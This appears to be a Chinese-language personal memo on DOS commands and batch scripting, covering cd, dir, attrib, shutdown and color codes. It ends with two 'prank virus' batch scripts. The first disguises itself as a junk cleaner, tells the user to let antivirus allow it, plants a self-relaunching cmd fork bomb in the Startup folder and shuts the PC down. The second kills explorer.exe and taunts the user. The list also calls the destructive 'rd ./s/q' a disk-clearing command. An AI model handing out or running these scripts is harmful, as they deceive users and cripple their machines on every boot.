讲讲DOS和批处理,主要是做备忘。。。
基本前置知识:
DOS命令,计算机术语,是指DOS操作系统的命令,是一种面向磁盘的操作命令,主要包括目录操作类命令、磁盘操作类命令、文件操作类命令和其它命令。
批处理(Batch),也称为批处理脚本。顾名思义,批处理就是对某对象进行批量的处理,通常被认为是一种简化的脚本语言,它应用于DOS和Windows系统中。批处理文件的扩展名为bat 。比较常见的批处理包含两类:DOS批处理和PS批处理。PS批处理是基于微软的强大的PowerShell的,用来批量处理一些任务的脚本;而DOS批处理则是基于DOS命令的,用来自动地批量地执行DOS命令以实现特定操作的脚本。
这个大致看看就好,没啥难度,主要是记忆,下面,我这边会列出常见的DOS命令:
cd
目录操作符,有以下几种用法
cd.. 返回上级目录
cd\ 返回根目录
cd d: 进入D盘
cls:清空所有dos操作
dir:显示当前盘符文件信息
rd ./s/q :清空磁盘
echo 创建文件,一般有以下几种用法
echo xxx 直接输出
echo xxx > xxxx.xxx 输出到文件xxxx
其他
attrib +h 文件名 隐藏文件夹
attrib -h 文件名 取消文件夹
attrib +h +s +a 文件名 将文件夹隐藏设为系统文件
shutdown -s -t 100 定时关机
差不多就是这么多了,只是简单介绍下。
下面介绍批处理脚本
如何创建批处理:
命名:.bat
方法:创建一个记事本文件,然后将其扩展改为.bat
批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条。
运行环境:cmd
命令解释+备忘:
@echo off #关闭回显
color 0a #设置窗口显示颜色
color:
指定控制台输出的颜色属性
颜色属性由两个十六进制数字指定 – 第一个为背景,第二个则为文字颜色。
每个数字可以为以下任何值之一:
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 湖蓝色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色
例如: “cilor fc” 亮白色背景,淡红色文字颜色。
密码:
set /p u=请输入用户名:
set /p p=请输入新密码:
常见bat程序命令
>nul #清除一条命令执行后系统反馈
常用命令相关
shutdown -a #取消关机
shutdown -s #关机
shutdown -f #强行关闭应用程序
shutdown -l #注销当前用户
shutdown -r #关机并重启
shutdown -s -t 时间 #定时关机
shutdown -h #休眠
附:VBS
msgbox:弹窗
do…loop:无限循环
好的,那么最后,附上两个恶搞代码,他们都是批处理编写的。
1.批处理内存引爆病毒源码
@echo off title 系统垃圾清理 color 2f echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】======== echo. echo. echo :start>c:\windows\windows.bat echo start cmd>>c:\windows\windows.bat echo goto start>>c:\windows\windows.bat copy c:\windows\windows.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" >nul 2>nul if %errorlevel%==0 goto next copy c:\windows\windows.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" >nul if %errorlevel%==1 goto error :next echo. echo. echo ====== 垃圾清理中,请不要关闭窗口====== echo. ping -n 5 127.0.0.1 >nul echo. echo ====== 垃圾清理完毕,共清理垃圾500M=== echo. echo. echo ====== 正在自动重启电脑====== ping -n 3 127.0.0.1 >nul shutdown -s -t 0 pause goto ex :error echo. echo. echo ====== 程序运行失败,请使用【管理员权限】重新运行!====== echo. pause goto ex :ex exit2.恶搞病毒
@echo off title 系统垃圾清理 color 2f echo ====== 若有杀毒软件恶意拦截,请选择【允许程序的所有操作】===== echo. echo. echo ====== 垃圾清理中,请不要关闭窗口======= ping -n 5 127.0.0.1 >nul taskkill /im explorer.exe /f>nul cls echo ====== 芜湖!你系统死喽!!======= ping -n 5 127.0.0.1 >nul cls echo ====== 别慌,闭上眼睛叫十声爸爸就好了======= ping -n 7 127.0.0.1 >nul start c:\windows\explorer.exe>nul echo ====== 已经修复好了!是不是吓坏了!!嘿嘿========= pause